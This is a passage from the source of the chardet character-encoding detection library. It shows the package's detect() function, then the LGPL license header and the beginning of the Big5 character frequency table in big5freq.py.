and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .compat import PY2, PY3 from .universaldetector import UniversalDetector from .version import __version__, VERSION def detect(byte_str): """ Detect the encoding of the given byte string. :param byte_str: The byte sequence to examine. :type byte_str: ``bytes`` or ``bytearray`` """ if not isinstance(byte_str, bytearray): if not isinstance(byte_str, bytes): raise TypeError('Expected object of type bytes or bytearray, got: ' '{0}'.format(type(byte_str))) else: byte_str = bytearray(byte_str) detector = UniversalDetector() detector.feed(byte_str) return detector.close() ================================================ FILE: thirdparty/chardet/big5freq.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # Big5 frequency table # by Taiwan's Mandarin Promotion Council # # # 128 --> 0.42261 # 256 --> 0.57851 # 512 --> 0.74851 # 1024 --> 0.89384 # 2048 --> 0.97583 # # Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98 # Random Distribution Ration = 512/(5401-512)=0.105 # # Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75 #Char to FreqOrder table BIG5_TABLE_SIZE = 5376 BIG5_CHAR_TO_FREQ_ORDER = ( 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, # 64 3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, # 80 4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, # 96 5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, # 112 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, # 128 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, # 144 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, # 160 2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, # 176 1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, # 192 3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, # 208 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, # 224 1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, # 240 3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, # 256 2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, # 272 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, # 288 3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, # 304 1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, # 320 5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, # 336 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, # 352 5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, # 368 1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, # 384 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, # 400 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, # 416 3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, # 432 3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, # 448 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, # 464 2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, # 480 2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, # 496 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, # 512 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, # 528 3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, # 544 1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, # 560 1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, # 576 1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, # 592 2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, # 608 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, # 624 4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, # 640 1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, # 656 5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, # 672 2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, # 688 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, # 704 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, # 720 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, # 736 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, # 752 5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, # 768 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, # 784 1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, # 800 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, # 816 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, # 832 5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, # 848 1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, # 864 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, # 880 3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, # 896 4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, # 912 3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, # 928 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, # 944 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, # 960 1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, # 976 4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, # 992 3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008 3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024 2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040 5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, # 1056 3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072 5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088 1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104 2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120 1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152 1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168 4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184 3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, # 1232 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248 2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264 5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280 1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296 2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312 1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328 1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344 5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360 5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376 5149, 128,2133, 92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392 3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408 4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424 4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440 2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456 5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472 3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504 5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, # 1520 5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536 1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552 2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568 3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584 4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600 5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616 3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632 4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648 1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664 1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, # 1680 4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696 1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728 1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744 1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760 3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792 5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808 2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824 1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840 1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, # 1856 5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888 4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920 2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952 1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968 1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000 4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016 4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032 1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048 3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064 5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080 5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, # 2096 1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112 2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128 1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144 3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160 2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176 3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192 2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208 4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224 4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240 3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272 3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304 3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320 4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336 3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352 1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368 5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400 5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416 1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448 4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, # 2464 4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496 2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512 2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, # 2528 3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544 1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560 4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576 2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592 1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608 1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624 2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640 3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656 1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672 5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, # 2688 1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704 4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, # 2720 1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752 1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768 4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784 4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800 2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816 1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832 4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864 5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880 2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896 3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912 4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944 5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960 5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976 1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992 4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008 4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024 2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, # 3040 3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056 3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072 2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088 1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104 4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120 3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136 3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152 2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168 4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, # 3184 5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200 3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216 2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232 3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248 1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264 2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280 3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296 4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, # 3312 2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328 2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344 5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360 1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376 2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392 1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408 3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424 4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, # 3440 2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456 3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472 3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488 2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504 4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520 2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536 3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552 4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568 5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584 3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616 1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, # 3632 4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648 1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664 4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, # 3680 5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712 5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728 5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744 2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760 3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776 2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792 2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824 1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840 4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856 3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872 3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904 2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936 2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952 4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968 1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984 4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000 1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016 3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048 3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064 5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080 5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096 3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112 3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128 1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144 2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160 5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176 1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192 1025,2142,3125,3182, 354,2740, 